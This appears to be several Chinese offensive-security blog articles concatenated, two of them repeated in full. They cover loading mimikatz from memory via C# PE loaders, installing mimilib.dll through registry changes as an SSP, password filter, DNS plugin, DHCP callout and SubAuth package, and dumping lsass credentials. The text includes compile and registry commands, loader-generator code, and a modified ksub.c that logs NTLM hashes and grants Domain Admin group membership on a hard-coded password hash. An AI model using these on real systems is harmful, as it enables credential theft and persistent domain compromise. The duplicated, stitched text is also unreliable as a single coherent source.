0x00 前言

在之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》《从内存加载.NET程序集(Assembly.Load)的利用分析》曾介绍了使用C Sharp从内存加载.NET程序集的方法,这次将要更近一步,介绍使用C Sharp从内存加载PE文件的方法。

0x01 简介

本文将要介绍以下内容:

· 实现原理

· Casey Smith开源的PELoader.cs

· 扩展PELoader.cs的方法

· SharpPELoaderGenerater的实现细节

· 利用方法

0x02 内存加载PE文件的实现原理

实现原理如下:

1.读取PE文件,按照PE格式进行解析 2.申请内存,ImageBase作为内存基地址,SizeOfImage作为长度 3.将PE文件头复制到内存中 4.解析Section的地址并将Section复制到内存中 5.基于重定位表修改内存 6.解析导入表,加载所需的Dll 7.跳转到入口地址AddressOfEntryPoint,执行PE文件。

0x03 Casey Smith开源的PELoader.cs

目前可供参考的地址:

https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

这个代码可以使用.NET 4.0或者更高版本下的csc.exe进行编译。

编译命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe PELoader.cs

代码实现了在内存中加载64位的mimikatz.exe。

PELoader.cs在字符串KatzCompressed存储经过编码后的mimikatz.exe。

如果想要进行替换,可以参考我的代码,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

执行后生成文件base64.txt,将其中的内容用来替换字符串KatzCompressed。

0x04 扩展PELoader.cs的方法

1.增加支持的编译环境

PELoader.cs因为使用了.Add()导致不支持.Net3.5,可以对此进行替换使其支持.Net3.5。

2.支持32位程序的加载

需要区分32位和64位程序PE结构的不同,重新计算偏移。

扩展PELoader.cs的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpMimikatz_x86.cs

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpMimikatz_x64.cs

分别对应内存加载32位和64位mimikatz的代码。

支持.Net3.5及更新版本。

SharpMimikatz_x86.cs的编译命令如下:

C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /unsafe /platform:x86 SharpMimikatz_x86.cs
or
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 SharpMimikatz_x86.cs

SharpMimikatz_x64.cs的编译命令如下:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /unsafe /platform:x64 SharpMimikatz_x64.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 SharpMimikatz_x64.cs

0x05 SharpPELoaderGenerater的实现细节

以Casey Smith开源的PELoader.cs为模板,尝试用c#实现自动生成加载PE文件的模板。

这里以SharpMimikatz_x64.cs为例,代码可分成以下三部分:

1.前半部分调用代码 2.exe文件经过压缩后的字符串 3.后半部分的调用代码。

代码的生成方法如下:

1.前半部分调用代码

由于前半部分的调用代码存在多个转义字符,直接保存在string数组中比较麻烦,这里的思路是将前半部分的代码先经过压缩编码后再保存到string数组中,这样还能够大幅缩小代码长度(31kb压缩至6kb)。

压缩前半部分代码可使用如下c#代码:

using System;
using System.IO;
using System.IO.Compression;

namespace GenerateCode
{
    class Program
    {
        static byte[] Compress(byte[] raw)
        {
            using (MemoryStream memory = new MemoryStream())
            {
                using (GZipStream gzip = new GZipStream(memory,
                CompressionMode.Compress, true))
                {
                    gzip.Write(raw, 0, raw.Length);
                }
                return memory.ToArray();
            }
        }
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"SharpMimikatz_x86_part.cs");
            byte[] compress = Compress(AsBytes);
            String AsBase64String = Convert.ToBase64String(compress);

            StreamWriter sw = new StreamWriter(@"SharpMimikatz_x86_part.txt");
            sw.Write(AsBase64String);
            sw.Close();

            byte[] AsBytes2 = File.ReadAllBytes(@"SharpMimikatz_x64_part.cs");
            byte[] compress2 = Compress(AsBytes2);
            String AsBase64String2 = Convert.ToBase64String(compress2);

            StreamWriter sw2 = new StreamWriter(@"SharpMimikatz_x64_part.txt");
            sw2.Write(AsBase64String2);
            sw2.Close();
        }
    }
}

执行后生成文件SharpMimikatz_x86_part.txt和SharpMimikatz_x64_part.txt,内容为压缩编码后的前半部分调用代码。

2.exe文件经过压缩后的字符串

可使用以下代码生成:

byte[] AsBytes = File.ReadAllBytes(@"mimikatz.exe");
byte[] compress = Compress(AsBytes);
string source = Convert.ToBase64String(compress);

3.后半部分的调用代码

这里需要使用转义字符。

可使用以下代码进行定义:

string source3_x86 = "\";\r\n    }\r\n } ";

作为代码生成模板,还需要区分exe是32位还是64位,判断方法如下:

通过IMAGE_FILE_HEADER结构体中的Characteristics字段,如果存在属性IMAGE_FILE_32BIT_MACHINE,那么该exe文件为32位。

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpPELoaderGenerater.cs

用法实例:

SharpPELoaderGenerater.exe test.exe

如果test.exe为32位的程序,将会生成文件SharpPELoader_x86.cs。

编译方法:

C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /unsafe /platform:x86 SharpPELoader_x86.cs
or
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 SharpPELoader_x86.cs

如果test.exe为64位的程序,将会生成文件SharpPELoader_x64.cs。

编译方法:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /unsafe /platform:x64 SharpPELoader_x64.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 SharpPELoader_x64.cs

补充:使用c++编写test.exe时需要注意手动加上需要调用的dll。

实例代码如下:

#include "stdafx.h"
#include #pragma comment(lib,"User32.lib")
int main(int argc, char *argv[])
{
	LoadLibrary(L"User32.dll");
	MessageBox(NULL, NULL, NULL, MB_OK);
	return 0;
}

0x06 小结

本文介绍了通过.NET实现内存加载PE文件的方法,以Casey Smith开源的PELoader.cs为模板,编写代码生成工具SharpPELoaderGenerate,分享代码开发需要注意的细节。

0x00 前言

在之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》《从内存加载.NET程序集(Assembly.Load)的利用分析》曾介绍了使用C Sharp从内存加载.NET程序集的方法,这次将要更近一步,介绍使用C Sharp从内存加载PE文件的方法。

0x01 简介

本文将要介绍以下内容:

· 实现原理

· Casey Smith开源的PELoader.cs

· 扩展PELoader.cs的方法

· SharpPELoaderGenerater的实现细节

· 利用方法

0x02 内存加载PE文件的实现原理

实现原理如下:

1.读取PE文件,按照PE格式进行解析 2.申请内存,ImageBase作为内存基地址,SizeOfImage作为长度 3.将PE文件头复制到内存中 4.解析Section的地址并将Section复制到内存中 5.基于重定位表修改内存 6.解析导入表,加载所需的Dll 7.跳转到入口地址AddressOfEntryPoint,执行PE文件。

0x03 Casey Smith开源的PELoader.cs

目前可供参考的地址:

https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

这个代码可以使用.NET 4.0或者更高版本下的csc.exe进行编译。

编译命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe PELoader.cs

代码实现了在内存中加载64位的mimikatz.exe。

PELoader.cs在字符串KatzCompressed存储经过编码后的mimikatz.exe。

如果想要进行替换,可以参考我的代码,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

执行后生成文件base64.txt,将其中的内容用来替换字符串KatzCompressed。

0x04 扩展PELoader.cs的方法

1.增加支持的编译环境

PELoader.cs因为使用了.Add()导致不支持.Net3.5,可以对此进行替换使其支持.Net3.5。

2.支持32位程序的加载

需要区分32位和64位程序PE结构的不同,重新计算偏移。

扩展PELoader.cs的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpMimikatz_x86.cs

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpMimikatz_x64.cs

分别对应内存加载32位和64位mimikatz的代码。

支持.Net3.5及更新版本。

SharpMimikatz_x86.cs的编译命令如下:

C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /unsafe /platform:x86 SharpMimikatz_x86.cs
or
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 SharpMimikatz_x86.cs

SharpMimikatz_x64.cs的编译命令如下:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /unsafe /platform:x64 SharpMimikatz_x64.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 SharpMimikatz_x64.cs

0x05 SharpPELoaderGenerater的实现细节

以Casey Smith开源的PELoader.cs为模板,尝试用c#实现自动生成加载PE文件的模板。

这里以SharpMimikatz_x64.cs为例,代码可分成以下三部分:

1.前半部分调用代码 2.exe文件经过压缩后的字符串 3.后半部分的调用代码。

代码的生成方法如下:

1.前半部分调用代码

由于前半部分的调用代码存在多个转义字符,直接保存在string数组中比较麻烦,这里的思路是将前半部分的代码先经过压缩编码后再保存到string数组中,这样还能够大幅缩小代码长度(31kb压缩至6kb)。

压缩前半部分代码可使用如下c#代码:

using System;
using System.IO;
using System.IO.Compression;

namespace GenerateCode
{
    class Program
    {
        static byte[] Compress(byte[] raw)
        {
            using (MemoryStream memory = new MemoryStream())
            {
                using (GZipStream gzip = new GZipStream(memory,
                CompressionMode.Compress, true))
                {
                    gzip.Write(raw, 0, raw.Length);
                }
                return memory.ToArray();
            }
        }
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"SharpMimikatz_x86_part.cs");
            byte[] compress = Compress(AsBytes);
            String AsBase64String = Convert.ToBase64String(compress);

            StreamWriter sw = new StreamWriter(@"SharpMimikatz_x86_part.txt");
            sw.Write(AsBase64String);
            sw.Close();

            byte[] AsBytes2 = File.ReadAllBytes(@"SharpMimikatz_x64_part.cs");
            byte[] compress2 = Compress(AsBytes2);
            String AsBase64String2 = Convert.ToBase64String(compress2);

            StreamWriter sw2 = new StreamWriter(@"SharpMimikatz_x64_part.txt");
            sw2.Write(AsBase64String2);
            sw2.Close();
        }
    }
}

执行后生成文件SharpMimikatz_x86_part.txt和SharpMimikatz_x64_part.txt,内容为压缩编码后的前半部分调用代码。

2.exe文件经过压缩后的字符串

可使用以下代码生成:

byte[] AsBytes = File.ReadAllBytes(@"mimikatz.exe");
byte[] compress = Compress(AsBytes);
string source = Convert.ToBase64String(compress);

3.后半部分的调用代码

这里需要使用转义字符。

可使用以下代码进行定义:

string source3_x86 = "\";\r\n    }\r\n } ";

作为代码生成模板,还需要区分exe是32位还是64位,判断方法如下:

通过IMAGE_FILE_HEADER结构体中的Characteristics字段,如果存在属性IMAGE_FILE_32BIT_MACHINE,那么该exe文件为32位。

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpPELoaderGenerater.cs

用法实例:

SharpPELoaderGenerater.exe test.exe

如果test.exe为32位的程序,将会生成文件SharpPELoader_x86.cs。

编译方法:

C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /unsafe /platform:x86 SharpPELoader_x86.cs
or
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 SharpPELoader_x86.cs

如果test.exe为64位的程序,将会生成文件SharpPELoader_x64.cs。

编译方法:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /unsafe /platform:x64 SharpPELoader_x64.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 SharpPELoader_x64.cs

补充:使用c++编写test.exe时需要注意手动加上需要调用的dll。

实例代码如下:

#include "stdafx.h"
#include #pragma comment(lib,"User32.lib")
int main(int argc, char *argv[])
{
	LoadLibrary(L"User32.dll");
	MessageBox(NULL, NULL, NULL, MB_OK);
	return 0;
}

0x06 小结

本文介绍了通过.NET实现内存加载PE文件的方法,以Casey Smith开源的PELoader.cs为模板,编写代码生成工具SharpPELoaderGenerate,分享代码开发需要注意的细节。

0x00 前言

Mimilib是mimikatz的子工程,编译成功后生成文件mimilib.dll,包含多个导出函数。

目前介绍这个dll用法的资料比较少,于是我将结合自己的测试结果,逐个介绍mimilib.dll导出函数的用法。

0x01 简介

本文将要介绍以下内容:

· Mimilib导出函数简介

· 6种功能的具体用法

0x02 Mimilib导出函数简介

对应文件的地址为:

https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/mimilib.def

内容如下:

EXPORTS
	startW					=	kappfree_startW

	SpLsaModeInitialize		=	kssp_SpLsaModeInitialize
	
	InitializeChangeNotify	=	kfilt_InitializeChangeNotify
	PasswordChangeNotify	=	kfilt_PasswordChangeNotify

	WinDbgExtensionDllInit	=	kdbg_WinDbgExtensionDllInit
	ExtensionApiVersion		=	kdbg_ExtensionApiVersion
	coffee					=	kdbg_coffee
	mimikatz				=	kdbg_mimikatz

	DnsPluginInitialize		=	kdns_DnsPluginInitialize
	DnsPluginCleanup		=	kdns_DnsPluginCleanup
	DnsPluginQuery			=	kdns_DnsPluginQuery

	DhcpServerCalloutEntry	=	kdhcp_DhcpServerCalloutEntry
	DhcpNewPktHook			=	kdhcp_DhcpNewPktHook

	Msv1_0SubAuthenticationRoutine	= ksub_Msv1_0SubAuthenticationRoutine
	Msv1_0SubAuthenticationFilter	= ksub_Msv1_0SubAuthenticationRoutine

我将以上导出函数划分成了6个实用的功能。

0x03 6种功能的具体用法

1.Security Support Provider

对应导出函数如下:

· SpLsaModeInitialize

使用方法:

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\

注册表项Security Packages的值添加一个mimilib。

重新启动系统。

进程lsass.exe将会加载mimilib.dll,同时在%SystemRoot%\System32生成文件kiwissp.log,记录当前用户的明文口令,测试结果如下图:

image.png

如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章:

· Mimikatz中SSP的使用

· 域渗透——Security Support Provider

2.PasswordChangeNotify

对应导出函数如下:

· InitializeChangeNotify

· PasswordChangeNotify

使用方法:

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\

注册表项Notification Packages的值添加一个mimilib。

重新启动系统。

进程lsass.exe将会加载mimilib.dll,当系统发生修改密码的事件时,在%SystemRoot%\System32生成文件kiwifilter.log,记录用户新修改的明文口令,测试结果如下图:

image.png

如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章:

· 域渗透——Hook PasswordChangeNotify

3.WinDbg Extension

对应导出函数如下:

· WinDbgExtensionDllInit

· ExtensionApiVersion

· coffee

· mimikatz

使用方法:

将mimilib.dll保存至WinDbg的winext目录。

我的测试环境(Server2012R2x64)保存的路径为:C:\Program Files\Debugging Tools for Windows (x64)\winext

启动WinDbg。

加载插件的命令如下:

.load mimilib

测试结果如下图:image.png

调用命名实例:

!coffee

4.DnsPlugin

对应导出函数如下:

· DnsPluginInitialize

· DnsPluginCleanup

· DnsPluginQuery

使用方法:

需要在Dns服务器上进行测试。

将mimilib.dll保存至%SystemRoot%\System32

修改注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

新建注册表项ServerLevelPluginDll,类型为REG_SZ,值为mimilib.dll

对应的cmd命令如下:

reg add HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\、 /v ServerLevelPluginDll /t REG_SZ /d "mimilib.dll" /f

重新启动系统。

进程dns.exe将会加载mimilib.dll,当系统发生dns查询事件时,在%SystemRoot%\System32生成文件kiwidns.log,记录信息如下:

· QueryName

· QueryType

测试结果如下图:

image.png

如果想远程实现相同的功能,可参考之前的分析文章:

· 域渗透——利用dnscmd在DNS服务器上实现远程加载Dll

5.DHCP callout DLL

对应导出函数如下:

· DhcpServerCalloutEntry

· DhcpNewPktHook

使用方法:

需要在DHCP服务器上进行测试。

修改源代码,设置需要禁用的MAC地址,对应代码位置:https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdhcp.c#L35

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DHCPServer\Parameters

新建注册表项CalloutDlls,类型为REG_MULTI_SZ,值为mimilib.dll

新建注册表项CalloutEnabled,类型为DWORD,值为1。

对应的cmd命令如下:

reg add HKLM\System\CurrentControlSet\Services\DHCPServer\Parameters /v CalloutDlls /t REG_MULTI_SZ /d "mimilib.dll" /f
reg add HKLM\System\CurrentControlSet\Services\DHCPServer\Parameters /v CalloutEnabled /t REG_DWORD /d 1 /f

重新启动系统。

进程svchost.exe将会加载mimilib.dll,将对应MAC地址的DHCP请求丢弃。

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/dhcp/how-the-dhcp-server-api-operates

6.SubAuth

对应导出函数如下:

· Msv1_0SubAuthenticationRoutine

· Msv1_0SubAuthenticationFilter

使用方法:

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0

新建注册表项Auth0,类型为REG_SZ,值为mimilib。

对应的cmd命令如下:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 /v Auth0 /t REG_SZ /d "mimilib" /f

如果是域环境,需要在域控制器上进行设置。

修改注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos

新建注册表项Auth0,类型为REG_SZ,值为mimilib。

对应的cmd命令如下:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos /v Auth0 /t REG_SZ /d "mimilib" /f

重新启动系统。

进程lsass.exe将会加载mimilib.dll,当系统产生登录事件时,在%SystemRoot%\System32生成文件kiwisub.log,记录信息如下:

· UserId

· PrimaryGroupId

· LogonDomainName

· UserName

· Workstation

· BadPasswordCount

· hash

这里需要注意当系统开机时,会记录计算机帐户的登录内容。

这里可以尝试加入显示时间的代码,就能够获得每台主机的开机时间和用户登录时间。

对应代码地址:https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/ksub.c

修改后的内容如下:

/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	[email protected]

	Vincent LE TOUX
	http://pingcastle.com / http://mysmartlogon.com
	[email protected]

	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "ksub.h"


const BYTE myHash[LM_NTLM_HASH_LENGTH] = {0xea, 0x37, 0x0c, 0xb7, 0xb9, 0x44, 0x70, 0x2c, 0x09, 0x68, 0x30, 0xdf, 0xc3, 0x53, 0xe7, 0x02}; // Waza1234/admin
NTSTATUS NTAPI ksub_Msv1_0SubAuthenticationRoutine(IN NETLOGON_LOGON_INFO_CLASS LogonLevel, IN PVOID LogonInformation, IN ULONG Flags, IN PUSER_ALL_INFORMATION UserAll, OUT PULONG WhichFields, OUT PULONG UserFlags, OUT PBOOLEAN Authoritative, OUT PLARGE_INTEGER LogoffTime, OUT PLARGE_INTEGER KickoffTime)
{
	FILE *ksub_logfile;;
#pragma warning(push)
#pragma warning(disable:4996)
	if(ksub_logfile = _wfopen(L"kiwisub.log", L"a"))
#pragma warning(pop)
	{
		SYSTEMTIME st;
		GetLocalTime(&st);

		klog(ksub_logfile, L"%04d-%02d-%02d %02d:%02d:%02d %u (%u) - %wZ\\%wZ (%wZ) (%hu) ", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, UserAll->UserId, UserAll->PrimaryGroupId, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->LogonDomainName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->UserName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->Workstation, UserAll->BadPasswordCount);
		if(UserAll->NtPasswordPresent)
			klog_hash(ksub_logfile, &UserAll->NtPassword, FALSE);
		if((UserAll->BadPasswordCount == 4) || (UserAll->NtPasswordPresent && RtlEqualMemory(UserAll->NtPassword.Buffer, myHash, min(sizeof(myHash), UserAll->NtPassword.Length))))
		{
			UserAll->PrimaryGroupId = 512;
			klog(ksub_logfile, L" :)\n");
		}
		else klog(ksub_logfile, L"\n");
		fclose(ksub_logfile);
	}
	*WhichFields = 0;
	*UserFlags = 0;
	*Authoritative = TRUE;
	LogoffTime->QuadPart = KickoffTime->QuadPart = 0x7fffffffffffffff;
	return STATUS_SUCCESS;
}

测试结果如下图:

image.png

参考资料:

https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/security/authentication/msvsubauth

https://docs.microsoft.com/en-us/windows/win32/secauthn/msv1-0-authentication-package

0x04 小结

本文介绍了Mimilib中6种功能的具体用法。

0x00 前言

Mimilib是mimikatz的子工程,编译成功后生成文件mimilib.dll,包含多个导出函数。

目前介绍这个dll用法的资料比较少,于是我将结合自己的测试结果,逐个介绍mimilib.dll导出函数的用法。

0x01 简介

本文将要介绍以下内容:

· Mimilib导出函数简介

· 6种功能的具体用法

0x02 Mimilib导出函数简介

对应文件的地址为:

https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/mimilib.def

内容如下:

EXPORTS
	startW					=	kappfree_startW

	SpLsaModeInitialize		=	kssp_SpLsaModeInitialize
	
	InitializeChangeNotify	=	kfilt_InitializeChangeNotify
	PasswordChangeNotify	=	kfilt_PasswordChangeNotify

	WinDbgExtensionDllInit	=	kdbg_WinDbgExtensionDllInit
	ExtensionApiVersion		=	kdbg_ExtensionApiVersion
	coffee					=	kdbg_coffee
	mimikatz				=	kdbg_mimikatz

	DnsPluginInitialize		=	kdns_DnsPluginInitialize
	DnsPluginCleanup		=	kdns_DnsPluginCleanup
	DnsPluginQuery			=	kdns_DnsPluginQuery

	DhcpServerCalloutEntry	=	kdhcp_DhcpServerCalloutEntry
	DhcpNewPktHook			=	kdhcp_DhcpNewPktHook

	Msv1_0SubAuthenticationRoutine	= ksub_Msv1_0SubAuthenticationRoutine
	Msv1_0SubAuthenticationFilter	= ksub_Msv1_0SubAuthenticationRoutine

我将以上导出函数划分成了6个实用的功能。

0x03 6种功能的具体用法

1.Security Support Provider

对应导出函数如下:

· SpLsaModeInitialize

使用方法:

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\

注册表项Security Packages的值添加一个mimilib。

重新启动系统。

进程lsass.exe将会加载mimilib.dll,同时在%SystemRoot%\System32生成文件kiwissp.log,记录当前用户的明文口令,测试结果如下图:image.png

如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章:

· Mimikatz中SSP的使用

· 域渗透——Security Support Provider

2.PasswordChangeNotify

对应导出函数如下:

· InitializeChangeNotify

· PasswordChangeNotify

使用方法:

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\

注册表项Notification Packages的值添加一个mimilib。

重新启动系统。

进程lsass.exe将会加载mimilib.dll,当系统发生修改密码的事件时,在%SystemRoot%\System32生成文件kiwifilter.log,记录用户新修改的明文口令,测试结果如下图:

image.png

如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章:

· 域渗透——Hook PasswordChangeNotify

3.WinDbg Extension

对应导出函数如下:

· WinDbgExtensionDllInit

· ExtensionApiVersion

· coffee

· mimikatz

使用方法:

将mimilib.dll保存至WinDbg的winext目录。

我的测试环境(Server2012R2x64)保存的路径为:C:\Program Files\Debugging Tools for Windows (x64)\winext

启动WinDbg。

加载插件的命令如下:

.load mimilib

测试结果如下图:image.png

调用命名实例:

!coffee

4.DnsPlugin

对应导出函数如下:

· DnsPluginInitialize

· DnsPluginCleanup

· DnsPluginQuery

使用方法:

需要在Dns服务器上进行测试。

将mimilib.dll保存至%SystemRoot%\System32

修改注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

新建注册表项ServerLevelPluginDll,类型为REG_SZ,值为mimilib.dll

对应的cmd命令如下:

reg add HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\、 /v ServerLevelPluginDll /t REG_SZ /d "mimilib.dll" /f

重新启动系统

进程dns.exe将会加载mimilib.dll,当系统发生dns查询事件时,在%SystemRoot%\System32生成文件kiwidns.log,记录信息如下:

  • QueryName

  • QueryType

测试结果如下图

image.png

如果想远程实现相同的功能,可参考之前的分析文章:

· 域渗透——利用dnscmd在DNS服务器上实现远程加载Dll

5.DHCP callout DLL

对应导出函数如下:

· DhcpServerCalloutEntry

· DhcpNewPktHook

使用方法:

需要在DHCP服务器上进行测试。

修改源代码,设置需要禁用的MAC地址,对应代码位置:https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdhcp.c#L35

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DHCPServer\Parameters

新建注册表项CalloutDlls,类型为REG_MULTI_SZ,值为mimilib.dll

新建注册表项CalloutEnabled,类型为DWORD,值为1。

对应的cmd命令如下:

reg add HKLM\System\CurrentControlSet\Services\DHCPServer\Parameters /v CalloutDlls /t REG_MULTI_SZ /d "mimilib.dll" /f
reg add HKLM\System\CurrentControlSet\Services\DHCPServer\Parameters /v CalloutEnabled /t REG_DWORD /d 1 /f

重新启动系统。

进程svchost.exe将会加载mimilib.dll,将对应MAC地址的DHCP请求丢弃。

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/dhcp/how-the-dhcp-server-api-operates

6.SubAuth

对应导出函数如下:

· Msv1_0SubAuthenticationRoutine

· Msv1_0SubAuthenticationFilter

使用方法:

将mimilib.dll保存至%SystemRoot%\System32。

修改注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0

新建注册表项Auth0,类型为REG_SZ,值为mimilib。

对应的cmd命令如下:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 /v Auth0 /t REG_SZ /d "mimilib" /f

如果是域环境,需要在域控制器上进行设置。

修改注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos

新建注册表项Auth0,类型为REG_SZ,值为mimilib。

对应的cmd命令如下:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos /v Auth0 /t REG_SZ /d "mimilib" /f

重新启动系统。

进程lsass.exe将会加载mimilib.dll,当系统产生登录事件时,在%SystemRoot%\System32生成文件kiwisub.log,记录信息如下:

· UserId

· PrimaryGroupId

· LogonDomainName

· UserName

· Workstation

· BadPasswordCount

· hash

这里需要注意当系统开机时,会记录计算机帐户的登录内容。

这里可以尝试加入显示时间的代码,就能够获得每台主机的开机时间和用户登录时间。

对应代码地址:https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/ksub.c

修改后的内容如下:

/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	[email protected]

	Vincent LE TOUX
	http://pingcastle.com / http://mysmartlogon.com
	[email protected]

	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "ksub.h"


const BYTE myHash[LM_NTLM_HASH_LENGTH] = {0xea, 0x37, 0x0c, 0xb7, 0xb9, 0x44, 0x70, 0x2c, 0x09, 0x68, 0x30, 0xdf, 0xc3, 0x53, 0xe7, 0x02}; // Waza1234/admin
NTSTATUS NTAPI ksub_Msv1_0SubAuthenticationRoutine(IN NETLOGON_LOGON_INFO_CLASS LogonLevel, IN PVOID LogonInformation, IN ULONG Flags, IN PUSER_ALL_INFORMATION UserAll, OUT PULONG WhichFields, OUT PULONG UserFlags, OUT PBOOLEAN Authoritative, OUT PLARGE_INTEGER LogoffTime, OUT PLARGE_INTEGER KickoffTime)
{
	FILE *ksub_logfile;;
#pragma warning(push)
#pragma warning(disable:4996)
	if(ksub_logfile = _wfopen(L"kiwisub.log", L"a"))
#pragma warning(pop)
	{
		SYSTEMTIME st;
		GetLocalTime(&st);

		klog(ksub_logfile, L"%04d-%02d-%02d %02d:%02d:%02d %u (%u) - %wZ\\%wZ (%wZ) (%hu) ", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, UserAll->UserId, UserAll->PrimaryGroupId, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->LogonDomainName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->UserName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->Workstation, UserAll->BadPasswordCount);
		if(UserAll->NtPasswordPresent)
			klog_hash(ksub_logfile, &UserAll->NtPassword, FALSE);
		if((UserAll->BadPasswordCount == 4) || (UserAll->NtPasswordPresent && RtlEqualMemory(UserAll->NtPassword.Buffer, myHash, min(sizeof(myHash), UserAll->NtPassword.Length))))
		{
			UserAll->PrimaryGroupId = 512;
			klog(ksub_logfile, L" :)\n");
		}
		else klog(ksub_logfile, L"\n");
		fclose(ksub_logfile);
	}
	*WhichFields = 0;
	*UserFlags = 0;
	*Authoritative = TRUE;
	LogoffTime->QuadPart = KickoffTime->QuadPart = 0x7fffffffffffffff;
	return STATUS_SUCCESS;
}

测试结果如下图:

image.png

参考资料:

https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/security/authentication/msvsubauth

https://docs.microsoft.com/en-us/windows/win32/secauthn/msv1-0-authentication-package

0x04 小结

本文介绍了Mimilib中6种功能的具体用法。

0x00 前言

本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 从lsass.exe进程导出凭据的常用方法。

· 限制上传文件长度时导出凭据的方法。

· 限制下载文件长度时导出凭据的方法。

0x02 从lsass.exe进程导出凭据的常用方法

1.使用mimikatz直接导出凭据

直接从lsass.exe进程的内存中导出凭据,命令如下:

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

通常这种方式会被安全产品拦截。

